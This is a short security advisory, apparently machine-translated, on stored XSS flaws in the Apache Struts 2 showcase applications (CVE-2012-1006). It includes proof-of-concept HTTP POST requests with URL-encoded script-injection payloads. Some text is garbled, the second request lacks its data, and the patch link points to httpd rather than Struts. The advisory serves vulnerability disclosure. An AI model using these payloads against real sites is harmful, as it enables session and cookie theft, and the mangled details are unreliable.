Apache Struts Multiple HTML code injection vulnerability

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Affected Systems:
Apache Group Struts 2.2.3
Apache Group Struts 2.0.14
Description:
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Bugtraq id: 51902
Cve id: CVE-2012-1006

Apache Struts is an open-source web application framework for developing Java Web applications.

Apache Struts has multiple HTML Injection Vulnerabilities. Attackers can exploit these vulnerabilities to run HTML and script code in affected browsers to steal Cookie authentication creden。 or control the appearance of websites.

<* Source: Antu Sanadi

Link: http://secpod.org/advisories/SecPod_Apache_Struts_Multiple_Parsistant_XSS_Vulns.txt
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Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Antu Sanadi () provides the following test methods:

POC 1:
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Stored XSS

POST struts2-showcase/person/editPerson. action HTTP/1.1

Host: SERVER_IP: 8080
User-Agent: struts2-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

Post Data:
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Persons % 281% 29. name = % 3 Cscript % 3 Ealert % 28% 22SecPod-XSS-TEST % 22% 29% 3C % 2 Fscript
% 3E & persons % 281% 29. lastName = % 3 Cscript % 3 Ealert % 28% 22SecPod-XSS-TEST % 22% 29% 3C % 2
Fscript % 3E & method % 3 Asave = Save + all + persons

POC 2:
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Stored XSS

POST/struts2-rest-showcase/orders HTTP/1.1

Host: SERVER_IP: 8080
User-Agent: struts2-rest-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

Suggestion:
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Vendor patch:

Apache Group
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Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://httpd.apache.org/